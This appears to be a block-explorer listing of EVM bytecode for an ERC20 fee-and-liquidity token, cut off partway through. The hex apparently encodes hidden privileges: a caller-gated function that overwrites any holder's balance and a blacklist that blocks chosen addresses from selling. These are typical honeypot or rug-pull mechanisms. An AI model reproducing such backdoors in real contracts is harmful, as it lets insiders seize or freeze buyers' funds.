ffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b602060179054906101000a900460ff1681565b60008082846128c591906146a5565b90508381101561290a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612901906144d0565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561298c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298390614570565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129f3906144b0565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612ada9190614590565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4f90614550565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bbf90614490565b60405180910390fd5b602060149054906101000a900460ff1615612bef57612be8848484613193565b905061309d565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c935750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612cde57601c54821115612cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cd4906144f0565b60405180910390fd5b5b6000612ce930611e4f565b90506000601e548210159050808015612d0f5750602060149054906101000a900460ff16155b8015612d655750600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d7d5750602060159054906101000a900460ff165b15612da757602060169054906101000a900460ff1615612d9d57601e5491505b612da682613366565b5b612db086613557565b15612e4b57612e0784600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461310890919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612eee5750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612f0257612efd87878761359a565b612f04565b845b9050602060179054906101000a900460ff168015612f6c5750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f9b57601d54612f8f82612f8189611e4f565b6128b690919063ffffffff16565b1115612f9a57600080fd5b5b612fed81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b690919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161308d9190614590565b60405180910390a3600193505050505b9392505050565b60008383111582906130ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130e3919061446e565b60405180910390fd5b50600083856130fb9190614786565b9050809150509392505050565b600061314a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506130a4565b905092915050565b600033905090565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614905092915050565b600061321e826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130a49092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132b382600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133539190614590565b60405180910390a3600190509392505050565b6001602060146101000a81548160ff02191690831515021790555060006133bf60026133b1601a546133a36015548761386a90919063ffffffff16565b6138e590919063ffffffff16565b6138e590919063ffffffff16565b905060006133d6828461310890919063ffffffff16565b90506133e18161392f565b6000479050600061341261340160026015546138e590919063ffffffff16565b601a5461310890919063ffffffff16565b905060006134506002613442846134346015548861386a90919063ffffffff16565b6138e590919063ffffffff16565b6138e590919063ffffffff16565b9050600061347b8361346d6017548761386a90919063ffffffff16565b6138e590919063ffffffff16565b905060006134a482613496858861310890919063ffffffff16565b61310890919063ffffffff16565b905060008111156134dc576134db600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613bba565b5b600082111561351257613511600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613bba565b5b6000831180156135225750600087115b15613532576135318784613c05565b5b505050505050506000602060146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1661357b600154613cf9565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661364a57600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561364957600080fd5b5b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136cb576136c460646136b66018548661386a90919063ffffffff16565b6138e590919063ffffffff16565b9050613749565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156137485761374560646137376019548661386a90919063ffffffff16565b6138e590919063ffffffff16565b90505b5b600081111561384d576137a481600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b690919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138449190614590565b60405180910390a35b613860818461310890919063ffffffff16565b9150509392505050565b60008083141561387d57600090506138df565b6000828461388b919061472c565b905082848261389a91906146fb565b146138da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138d190614510565b60405180910390fd5b809150505b92915050565b600061392783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613d0b565b905092915050565b6000600267ffffffffffffffff81111561394c5761394b6149d3565b5b60405190808252806020026020018201604052801561397a5781602001602082028036833780820191505090505b5090503081600081518110613992576139916149a4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613a3457600080fd5b505afa158015613a48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a6c9190613e79565b81600181518110613a8057613a7f6149a4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613ae730601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461291c565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613b4b9594939291906145db565b600060405180830381600087803b158015613b6557600080fd5b505af1158015613b79573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613bae9291906145ab565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613c00573d6000803e3d6000fd5b505050565b613c3230601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461291c565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613c7e61204a565b426040518863ffffffff1660e01b8152600401613ca0969594939291906143d7565b6060604051808303818588803b158015613cb957600080fd5b505af1158015613ccd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613cf291906140e6565b5050505050565b6000613d0482613d6e565b9050919050565b60008083118290613d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d49919061446e565b60405180910390fd5b5060008385613d6191906146fb565b9050809150509392505050565b6000819050919050565b600081359050613d8781614c58565b92915050565b600081519050613d9c81614c58565b92915050565b60008083601f840112613db857613db7614a07565b5b8235905067ffffffffffffffff811115613dd557613dd4614a02565b5b602083019150836020820283011115613df157613df0614a0c565b5b9250929050565b600081359050613e0781614c6f565b92915050565b600081359050613e1c81614c86565b92915050565b600081519050613e3181614c86565b92915050565b600081359050613e4681614c9d565b92915050565b600060208284031215613e6257613e61614a16565b5b6000613e7084828501613d78565b91505092915050565b600060208284031215613e8f57613e8e614a16565b5b6000613e9d84828501613d8d565b91505092915050565b60008060408385031215613ebd57613ebc614a16565b5b6000613ecb85828601613d78565b9250506020613edc85828601613d78565b9150509250929050565b600080600060608486031215613eff57613efe614a16565b5b6000613f0d86828701613d78565b9350506020613f1e86828701613d78565b9250506040613f2f86828701613e0d565b9150509250925092565b60008060408385031215613f5057613f4f614a16565b5b6000613f5e85828601613d78565b9250506020613f6f85828601613e0d565b9150509250929050565b600080600060408486031215613f9257613f91614a16565b5b600084013567ffffffffffffffff811115613fb057613faf614a11565b5b613fbc86828701613da2565b93509350506020613fcf86828701613df8565b9150509250925092565b600080600060408486031215613ff257613ff1614a16565b5b600084013567ffffffffffffffff8111156140105761400f614a11565b5b61401c86828701613da2565b9350935050602061402f86828701613e37565b9150509250925092565b60006020828403121561404f5761404e614a16565b5b600061405d84828501613df8565b91505092915050565b60006020828403121561407c5761407b614a16565b5b600061408a84828501613e0d565b91505092915050565b6000806000606084860312156140ac576140ab614a16565b5b60006140ba86828701613e0d565b93505060206140cb86828701613e0d565b92505060406140dc86828701613e0d565b9150509250925092565b6000806000606084860312156140ff576140fe614a16565b5b600061410d86828701613e22565b935050602061411e86828701613e22565b925050604061412f86828701613e22565b9150509250925092565b60006141458383614160565b60208301905092915050565b61415a816147cc565b82525050565b614169816147ba565b82525050565b614178816147ba565b82525050565b600061418982614660565b6141938185614683565b935061419e83614650565b8060005b838110156141cf5781516141b68882614139565b97506141c183614676565b9250506001810190506141a2565b5085935050505092915050565b6141e5816147de565b82525050565b6141f481614821565b82525050565b61420381614833565b82525050565b60006142148261466b565b61421e8185614694565b935061422e818560208601614869565b61423781614a1b565b840191505092915050565b600061424f602383614694565b915061425a82614a2c565b604082019050919050565b6000614272602283614694565b915061427d82614a7b565b604082019050919050565b6000614295601b83614694565b91506142a082614aca565b602082019050919050565b60006142b8602883614694565b91506142c382614af3565b604082019050919050565b60006142db602183614694565b91506142e682614b42565b604082019050919050565b60006142fe602083614694565b915061430982614b91565b602082019050919050565b6000614321602583614694565b915061432c82614bba565b604082019050919050565b6000614344602483614694565b915061434f82614c09565b604082019050919050565b6143638161480a565b82525050565b61437281614814565b82525050565b600060208201905061438d600083018461416f565b92915050565b60006020820190506143a86000830184614151565b92915050565b60006040820190506143c3600083018561416f565b6143d0602083018461416f565b9392505050565b600060c0820190506143ec600083018961416f565b6143f9602083018861435a565b61440660408301876141fa565b61441360608301866141fa565b614420608083018561416f565b61442d60a083018461435a565b979650505050505050565b600060208201905061444d60008301846141dc565b92915050565b600060208201905061446860008301846141eb565b92915050565b600060208201905081810360008301526144888184614209565b905092915050565b600060208201905081810360008301526144a981614242565b9050919050565b600060208201905081810360008301526144c981614265565b9050919050565b600060208201905081810360008301526144e981614288565b9050919050565b60006020820190508181036000830152614509816142ab565b9050919050565b60006020820190508181036000830152614529816142ce565b9050919050565b60006020820190508181036000830152614549816142f1565b9050919050565b6000602082019050818103600083015261456981614314565b9050919050565b6000602082019050818103600083015261458981614337565b9050919050565b60006020820190506145a5600083018461435a565b92915050565b60006040820190506145c0600083018561435a565b81810360208301526145d2818461417e565b90509392505050565b600060a0820190506145f0600083018861435a565b6145fd60208301876141fa565b818103604083015261460f818661417e565b905061461e606083018561416f565b61462b608083018461435a565b9695505050505050565b600060208201905061464a6000830184614369565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006146b08261480a565b91506146bb8361480a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156146f0576146ef614917565b5b828201905092915050565b60006147068261480a565b91506147118361480a565b92508261472157614720614946565b5b828204905092915050565b60006147378261480a565b91506147428361480a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561477b5761477a614917565b5b828202905092915050565b60006147918261480a565b915061479c8361480a565b9250828210156147af576147ae614917565b5b828203905092915050565b60006147c5826147ea565b9050919050565b60006147d7826147ea565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061482c82614845565b9050919050565b600061483e8261480a565b9050919050565b600061485082614857565b9050919050565b6000614862826147ea565b9050919050565b60005b8381101561488757808201518184015260208101905061486c565b83811115614896576000848401525b50505050565b600060028204905060018216806148b457607f821691505b602082108114156148c8576148c7614975565b5b50919050565b60006148d98261480a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561490c5761490b614917565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614c61816147ba565b8114614c6c57600080fd5b50565b614c78816147de565b8114614c8357600080fd5b50565b614c8f8161480a565b8114614c9a57600080fd5b50565b614ca681614814565b8114614cb157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fd1a583938b9c4556e18f6e30376e24ee0c8a4103513826bb0debe0ee5232bc464736f6c63430008070033

Deployed Bytecode

0x6080604052600436106103905760003560e01c806382eefb43116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f1d5f5171161006f578063f1d5f51714610da9578063f2514e8814610dd2578063f2fde38b14610e0f578063f872858a14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063de84797214610d53578063f0cd1dac14610d7e57610397565b8063c8607952116100dc578063c860795214610c2d578063c867d60b14610c58578063cab0347114610c95578063da00097d14610cc057610397565b8063c49b9a8014610bae578063c5d2418914610bd7578063c816841b14610c0257610397565b8063a08e671f1161017a578063a9059cbb11610149578063a9059cbb14610af2578063bae972b114610b2f578063c2d4640e14610b5a578063c469b6dd14610b8357610397565b8063a08e671f14610a36578063a457c2d714610a61578063a5d69d1f14610a9e578063a83f53a714610ac757610397565b80638da5cb5b116101b65780638da5cb5b1461098c5780639174c79d146109b757806395d89b41146109e0578063a073d37f14610a0b57610397565b806382eefb43146108f957806388790a68146109245780638b42507f1461094f57610397565b80633b97084a116102c157806361a23c691161025f57806377f31d031161022e57806377f31d031461083d578063783488d3146108665780637d1db4a5146108a3578063807c2d9c146108ce57610397565b806361a23c691461076f5780636249faf11461079a57806370a08231146107c357806377aaf2f61461080057610397565b8063502713641161029b57806350271364146106b557806357a5802f146106de5780635881f3ef1461070957806360efb94f1461074657610397565b80633b97084a146106245780633ecad2711461064d5780634a74bb021461068a57610397565b806327c8f8351161032e578063313ce56711610308578063313ce5671461056a57806335d236151461059557806337f02ba9146105be57806339509351146105e757610397565b806327c8f835146104eb5780632b112e49146105165780632c4b23341461054157610397565b80631694505e1161036a5780631694505e1461042f57806318160ddd1461045a57806323b872dd146104855780632563ae83146104c257610397565b806306fdde031461039c578063095ea7b3146103c75780631245e3471461040457610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103b1610e63565b6040516103be919061446e565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e99190613f39565b610ef5565b6040516103fb9190614438565b60405180910390f35b34801561041057600080fd5b50610419610f13565b6040516104269190614393565b60405180910390f35b34801561043b57600080fd5b50610444610f39565b6040516104519190614453565b60405180910390f35b34801561046657600080fd5b5061046f610f5f565b60405161047c9190614590565b60405180910390f35b34801561049157600080fd5b506104ac60048036038101906104a79190613ee6565b610f69565b6040516104b99190614438565b60405180910390f35b3480156104ce57600080fd5b506104e960048036038101906104e49190614039565b611043565b005b3480156104f757600080fd5b506105006110f5565b60405161050d9190614378565b60405180910390f35b34801561052257600080fd5b5061052b611119565b6040516105389190614590565b60405180910390f35b34801561054d57600080fd5b5061056860048036038101906105639190613e4c565b61115d565b005b34801561057657600080fd5b5061057f611236565b60405161058c9190614635565b60405180910390f35b3480156105a157600080fd5b506105bc60048036038101906105b79190613e4c565b61124d565b005b3480156105ca57600080fd5b506105e560048036038101906105e09190613f39565b611326565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613f39565b6113c8565b60405161061b9190614438565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190614066565b61147b565b005b34801561065957600080fd5b50610674600480360381019061066f9190613e4c565b61151a565b6040516106819190614438565b60405180910390f35b34801561069657600080fd5b5061069f61153a565b6040516106ac9190614438565b60405180910390f35b3480156106c157600080fd5b506106dc60048036038101906106d79190613fd9565b61154d565b005b3480156106ea57600080fd5b506106f36116cb565b6040516107009190614590565b60405180910390f35b34801561071557600080fd5b50610730600480360381019061072b9190613e4c565b6116d1565b60405161073d9190614378565b60405180910390f35b34801561075257600080fd5b5061076d60048036038101906107689190614093565b611c2f565b005b34801561077b57600080fd5b50610784611d0f565b6040516107919190614590565b60405180910390f35b3480156107a657600080fd5b506107c160048036038101906107bc9190613f79565b611d15565b005b3480156107cf57600080fd5b506107ea60048036038101906107e59190613e4c565b611e4f565b6040516107f79190614590565b60405180910390f35b34801561080c57600080fd5b5061082760048036038101906108229190613e4c565b611e98565b6040516108349190614438565b60405180910390f35b34801561084957600080fd5b50610864600480360381019061085f9190613f79565b611eb8565b005b34801561087257600080fd5b5061088d60048036038101906108889190613e4c565b611ff2565b60405161089a9190614438565b60405180910390f35b3480156108af57600080fd5b506108b8612012565b6040516108c59190614590565b60405180910390f35b3480156108da57600080fd5b506108e3612018565b6040516108f09190614590565b60405180910390f35b34801561090557600080fd5b5061090e61201e565b60405161091b9190614590565b60405180910390f35b34801561093057600080fd5b50610939612024565b6040516109469190614590565b60405180910390f35b34801561095b57600080fd5b5061097660048036038101906109719190613e4c565b61202a565b6040516109839190614438565b60405180910390f35b34801561099857600080fd5b506109a161204a565b6040516109ae9190614378565b60405180910390f35b3480156109c357600080fd5b506109de60048036038101906109d99190614093565b612073565b005b3480156109ec57600080fd5b506109f5612153565b604051610a02919061446e565b60405180910390f35b348015610a1757600080fd5b50610a206121e5565b604051610a2d9190614590565b60405180910390f35b348015610a4257600080fd5b50610a4b6121ef565b604051610a589190614590565b60405180910390f35b348015610a6d57600080fd5b50610a886004803603810190610a839190613f39565b6121f5565b604051610a959190614438565b60405180910390f35b348015610aaa57600080fd5b50610ac56004803603810190610ac09190614039565b6122c2565b005b348015610ad357600080fd5b50610adc612374565b604051610ae99190614590565b60405180910390f35b348015610afe57600080fd5b50610b196004803603810190610b149190613f39565b61237a565b604051610b269190614438565b60405180910390f35b348015610b3b57600080fd5b50610b44612399565b604051610b519190614393565b60405180910390f35b348015610b6657600080fd5b50610b816004803603810190610b7c9190614093565b6123bf565b005b348015610b8f57600080fd5b50610b9861249f565b604051610ba59190614590565b60405180910390f35b348015610bba57600080fd5b50610bd56004803603810190610bd09190614039565b6124a5565b005b348015610be357600080fd5b50610bec61258e565b604051610bf99190614590565b60405180910390f35b348015610c0e57600080fd5b50610c17612594565b604051610c249190614378565b60405180910390f35b348015610c3957600080fd5b50610c426125ba565b604051610c4f9190614590565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a9190613e4c565b6125c0565b604051610c8c9190614438565b60405180910390f35b348015610ca157600080fd5b50610caa6125e0565b604051610cb79190614590565b60405180910390f35b348015610ccc57600080fd5b50610cd56125e6565b604051610ce29190614438565b60405180910390f35b348015610cf757600080fd5b50610d006125f9565b604051610d0d9190614590565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613ea6565b6125ff565b604051610d4a9190614590565b60405180910390f35b348015610d5f57600080fd5b50610d68612686565b604051610d759190614590565b60405180910390f35b348015610d8a57600080fd5b50610d9361268c565b604051610da09190614590565b60405180910390f35b348015610db557600080fd5b50610dd06004803603810190610dcb9190614066565b612692565b005b348015610dde57600080fd5b50610df96004803603810190610df49190613e4c565b612731565b604051610e069190614438565b60405180910390f35b348015610e1b57600080fd5b50610e366004803603810190610e319190613e4c565b612751565b005b348015610e4457600080fd5b50610e4d6128a3565b604051610e5a9190614438565b60405180910390f35b606060028054610e729061489c565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9e9061489c565b8015610eeb5780601f10610ec057610100808354040283529160200191610eeb565b820191906000526020600020905b815481529060010190602001808311610ece57829003601f168201915b5050505050905090565b6000610f09610f02612914565b848461291c565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000610f76848484612ae7565b5061103884610f83612914565b61103385604051806060016040528060288152602001614cb560289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fe9612914565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130a49092919063ffffffff16565b61291c565b600190509392505050565b61104b612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cf90614530565b60405180910390fd5b80602060176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006111586111477f000000000000000000000000000000000000000000000000000000000000dead611e4f565b601b5461310890919063ffffffff16565b905090565b611165612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990614530565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b611255612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d990614530565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d6000611332613152565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113c45780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60006114716113d5612914565b8461146c85600760006113e6612914565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b690919063ffffffff16565b61291c565b6001905092915050565b611483612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150790614530565b60405180910390fd5b80601e8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b602060159054906101000a900460ff1681565b611580600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661157b613152565b61315a565b61158957600080fd5b60005b838390508110156116c55760018260ff161415611627576001600e60008686858181106115bc576115bb6149a4565b5b90506020020160208101906115d19190613e4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506116b4565b60008260ff1614156116b3576000600e600086868581811061164c5761164b6149a4565b5b90506020020160208101906116619190613e4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b806116be906148ce565b905061158c565b50505050565b60155481565b60006116db612914565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175f90614530565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156117b357600080fd5b505afa1580156117c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117eb9190613e79565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561184d57600080fd5b505afa158015611861573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118859190613e79565b6040518363ffffffff1660e01b81526004016118a29291906143ae565b60206040518083038186803b1580156118ba57600080fd5b505afa1580156118ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118f29190613e79565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ab3578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561196f57600080fd5b505afa158015611983573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a79190613e79565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a0957600080fd5b505afa158015611a1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a419190613e79565b6040518363ffffffff1660e01b8152600401611a5e9291906143ae565b602060405180830381600087803b158015611a7857600080fd5b505af1158015611a8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ab09190613e79565b91505b81602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff